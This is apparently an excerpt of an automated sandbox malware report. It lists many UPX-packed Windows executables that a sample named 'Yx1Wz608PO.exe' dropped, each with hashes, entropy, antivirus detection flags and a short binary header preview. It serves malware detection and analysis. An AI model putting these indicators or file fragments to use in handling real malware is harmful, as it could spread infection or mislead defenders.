SHA1:	91ED801C64AB0DAC0DA78366923010CBA3CDCC00
SHA-256:	8216D8D554D90A42EEFF4010DB84572B580306A7A2361DACB58BE534E567CAED
SHA-512:	29BA22B5EF18C016E135E36AF08CBD72DEDDE0A2A11C0B84E52369C0CBB95AACFF5CB4C97176905C4ABA8CE8E673BA033BE0297528CFC16F1341802B0E41A22E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-6R5WtqjpUktSTdyX.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691670273947565
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+LK:LJ0TAz6Mte4A+aaZx8EnCGVuL
MD5:	80881817B88CADDC32471DD2197451F3
SHA1:	1B107522CA08EDA47B70DE41BF644E0439D1EAFA
SHA-256:	D103BA1ED05BBDB0C4117472BBB3D48A637C69549397D701A059FFDE473CCD04
SHA-512:	D82A9F42B9DE1954158EAACAC7F3F4643176FD9DCB1F6CBF1180C48C09AA198E168906FA5FA72BD92719445BD783E6077620EE1FE316C33E0FA7EE680D9FC3B3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-6wusbbrgmMpcBTFV.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691593526276131
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+UK:LJ0TAz6Mte4A+aaZx8EnCGVuU
MD5:	F5817B149015958A352E46829AED41CC
SHA1:	5652633D309BB58D16FBAC1985ECE2D500DFD7ED
SHA-256:	A92F9CF8F92C47DED43EC0A15987D74D960AF072C7F6A876AF098D69D017EBD8
SHA-512:	E6DBED2A25A51D69E205050703BA1B5B18172E25901A14EB5F973F80C9CC37BBFDB246DB0636464D9DA952453AC26DD5CCA571F0A62C53C57049B7369CCA52D8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-7bKKZTcwZ1AvB69O.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691632139218517
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+aK:LJ0TAz6Mte4A+aaZx8EnCGVua
MD5:	264CA20C49FF4D493E8030DBD57B24D1
SHA1:	3AE52AE40024853B4B2BD12B78B7D9187F131B4D
SHA-256:	A4706BCD9DF799AB9632E4629299DB22927711784534FD16C23362B94EDEAC42
SHA-512:	AEDB32AA8D4919F5BC639D361EF04067581AE1CA73F2309BA06505CEC3BA0FB03DD23D3552A43EA7579F7C323C996031E5D6A5C0EBC62B0C680203F82CDD03B9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-7c2sZoOt8ZtCld1t.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691644968889318
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+NK:LJ0TAz6Mte4A+aaZx8EnCGVuN
MD5:	2B4BC55B53D8D4F7E90209671EA59A5C
SHA1:	4151397DC601015A10C96A8F3E4CCD9D9EBFE4A0
SHA-256:	3B7B910FC7366949B0CF127E7252DDB135A6D9EF4F967449BB5D66441FEC27FB
SHA-512:	DCD3984FDAE239EF74A074BE4AA33BCDC6C67F2F9DD9380DCDE29E6C08FA789BB0C7D1627B513AF34605D3D17674A501BC8F60EAA71094C00BB3584D9D6CC5F6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-7tNM8tQoTbkooJnZ.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691672989636936
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+CK:LJ0TAz6Mte4A+aaZx8EnCGVuC
MD5:	0F0396EF81FA4B232D04A8F0A961138B
SHA1:	E3632A25B78C81CEFEF5339F9497BA9F85976C16
SHA-256:	E1BFAA85851EDF54B9C4803901613CECE61086910B614DCCBA39E55B6BD87067
SHA-512:	D6E0DF92B59312C3D0AC4B48E2CCC7E1BF214BE72F22F72752D99180A37168909F945850FDAB6A1BEF15630BA1D70BCA95EE347C7E9F2909E6784F80187B7A11
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-96Wr0t4vpAyIwn2t.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.69163056839617
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+0K:LJ0TAz6Mte4A+aaZx8EnCGVu0
MD5:	C4BC0C52B32DFC43DDF6E590385A461C
SHA1:	45E18054DCA5280E8EDD94892CBDFD1F82791471
SHA-256:	42843BA5336EFC708D63559D6E7FBC25C9A3473F9FE05939A82193F7FC2B992D
SHA-512:	079EB54A2256B2BBA3136E7889BAE826E1FCEFBD01C8497F1B3C4F261AA2A3DD2A8791932508EDD58A5F0A64BDC98B12E100681AD3828C2236CE456EDA52731B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-9KCDfoTvJTmqygky.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691626013684731
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+2K:LJ0TAz6Mte4A+aaZx8EnCGVu2
MD5:	93DA6EA07F289791D59E9EC6472A3F53
SHA1:	66EA579AD7F97B7CE5471F03196ACFA0FAA41E51
SHA-256:	22A473D9D0514F89B705502EBFEF7799903F69EB08DAE135C9CDAA109D310B55
SHA-512:	DA26CA564AB7571856366C9A13D5C906C03C1D350C831355BB2C96A0573CDFE6BFF5057D83F04B7C304F56768249FCB13169D142A3841656ACE138F505E9243A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-9PANsJP5rpGyNZO8.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.69167419057895
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+9K:LJ0TAz6Mte4A+aaZx8EnCGVu9
MD5:	BE8695474344F0367319DF4E777D5506
SHA1:	D434E141D38EF83B8A264FC96E6661B57B275308
SHA-256:	F71D53D7FCE9191DCF04BECA14F81AC481DB3846E270079331D5E66BE63B98CE
SHA-512:	D02C93F4CA23C68C8A37C19D9545A8ED3D576147D8EF4E512B1EF724404720324CB00F76253C821E96793B6372D7E9869CF4F95742BA83CB46670A0CBCD0C0F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-9ZuBld8Y8200Rptx.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691683111424727
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+jK:LJ0TAz6Mte4A+aaZx8EnCGVuj
MD5:	5610BDFD6F899E70FF66B35BCA206BA4
SHA1:	C9919F23E8F64C03510C201696A2515F86E564A4
SHA-256:	3CB9BC077079AD9C19DCF45B7A63ECF488B8539B19C19A3F2C4C6277B51EDCCE
SHA-512:	E44E3364F23A4761AC94F28C55DBE63A6166AB19CD46D38715B2765E97CA3E319E04ED5F189778D49EFB1C892CC79FA20D18BE22976C5A025B6BBCA34A4E7763
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-A57jwvvBTZZBhtF8.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691631876328035
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+VK:LJ0TAz6Mte4A+aaZx8EnCGVuV
MD5:	BF23F48FB1711AC99285FD2C81E56CEB
SHA1:	EF871DA3A567AC4A55F13A930983EC722895CA4E
SHA-256:	D7F866839210080A6D7AA87EFBDBFD00B8152300E01E51AE0CCBEDFB65E7A471
SHA-512:	7329CB3DD0E53C40FADE75B764F178D3D8B6E0473CA3D8DE52CB32AB8242D63F10FBBEF1FF3561269912137EA88301180257AA4F630344010D65FC16098F37EC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-A6jVTXjeaWbirx4X.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.69166771626348
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+uK:LJ0TAz6Mte4A+aaZx8EnCGVuu
MD5:	4E1663116FB31061EDB1DD10285F9528
SHA1:	37AB24241F1209D427FE40D77717F1FEAA94BB5C
SHA-256:	4BFBAC2CDE428B8F03746A80CAB1E61FA9D82E9DD235E9BCF031188EE4CD1B08
SHA-512:	0F24373E636EE72DC32B6925D2784A214AEEA38A067C4254AAFA646C38BBBCB5AA6817ECBF15DEF0541B12F28F54D138F397252CF30C0B387564931147541240
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-AJCcQtfVrsedwKsZ.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691670839950232
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+fK:LJ0TAz6Mte4A+aaZx8EnCGVuf
MD5:	73FEF879858323B1D2252E40996B1B87
SHA1:	95D32609C629537689DAEEBC5C0894DD29AEBBB8
SHA-256:	0464270AFBCA6C6B29290A9C58A6FE9A9B1FBC7867C6B3B1003F2162D3108FAD
SHA-512:	A06B228BAEDC71EE28513B5323421AB901283ABF37F8149F252D023F3E03D4149A34F0527C2CEAD7B83ACEA14615DFF8B83AAA5D3F6E671C90A2A85A29057060
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-AbJq5JvGluWbFwwZ.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691621876749878
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+fK:LJ0TAz6Mte4A+aaZx8EnCGVuf
MD5:	067E4CD04D8D388ED147546E74605364
SHA1:	7F55E4DD0D93DDC8C4887325A1DE07FA2ACE4A17
SHA-256:	A73D826A382828A46F866A81C55D884DA634395E53AEB242089DBACBDEC08CEA
SHA-512:	C92EF3242DA6CB952050B5E4A80A986BF5069812FB78367A29A40E3676627BC9D427B081FC7BC4D4E4CADC5F530390FF6D2D266A37497FD747E3A3561C38BF1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-AjoycwODvDSL5IAO.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691642825623686
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+RK:LJ0TAz6Mte4A+aaZx8EnCGVuR
MD5:	03DFE6779926B32E58E26118F61A8518
SHA1:	30CE6A5CD6669835DC1AF25AD10AA6B6E4DC107C
SHA-256:	0C85A8F0D0B0D40289579BDC2033850F9F49152D7BC6C602A25097FB61F36421
SHA-512:	8FB10875C4E7DD74C2C483C3108998284854F0B2C0DAEB84BD3ACD277ED530A0EABDF6498CA69C7F9BB7CB9ABCE639901C5E04ECC9DB2943AB7988750450C7C2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-BGQBJ4RqEFRi5PE5.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691646418830772
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+YK:LJ0TAz6Mte4A+aaZx8EnCGVuY
MD5:	DE8937D55C01A219D9C4C1CC869C3CDE
SHA1:	3FB7C0502F87C38D39377A6F249ED7E8B1DF30E7
SHA-256:	8F98918E1C3712B17BA103D933A6CCAA7D9942F4DE8FEA6A9ACD996E8B7BAE24
SHA-512:	EF20BEC8EA071FCF35D31DAB4B338BD0808C8B800D00145F39937978A408FB873E0690F33B8CA8BDEBE78AA1F2858E9FF77E3896F4CEB1EC0DA544381E9225AC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......S...............8.P.......0.......@........@........................................... ......................@..4...........................................................................................................................UPX0.....0..............................UPX1.....P...@...H..................@...UPX2.................J..............@...4.22.UPX!......}.[.^..f...E...,..&.......U...SB...]..t&.U...R.......S.. hP.@.................$....E..E...P.E.....A.SPh.0B..w..h..'.\|..... ..uD.......,'....4.........}...S..Q..>R.?P...........$.......CQQP.>...S.R........t.PPpP.C0...>...t.P........n....'..U....j....\.{.a{.........!./..E.....=....w.~..;=..rK..HPPj.j...................1..]..........&..=.:tI=...=.....u..=..t9=..u.S.....tZ..t..j.....i..}...1...m1..y..>...K..(...:.jlX,..Y'.P...,.............v..y=..;...s<B...<..;~.:..h..Az....

C:\Users\user\Desktop\rifaien2-BtW7KCBSW9z60IjW.exe

Download File

Process:	C:\Users\user\Desktop\Yx1Wz608PO.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.691582610881974
Encrypted:	false
SSDEEP:	1536:LJaPJpAz869DUxWB+i4OQ4NR2Kk+aSnfZaG8fcaOCzGquSE0cF+YK:LJ0TAz6Mte4A+aaZx8EnCGVuY
MD5:	58964752D9A5F66F849BC00BA2D1E6F9
SHA1:	4FF5E715A290902FAF2C428CBE1C29CD4022EED0
SHA-256:	85AEA81A1745C05CAD3AD5E19B2038D99BA1DD009EF0192C9E57EED2743726DB
SHA-512:	46784DB3B646FE58A57872327ED6CDEF099CF402FE454F5A31E7EFCC7CD8812788F68625E8B5B2EE1071747CE2D8AFEDAE03258AAA1B68DF5CC8838247C8D4CF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
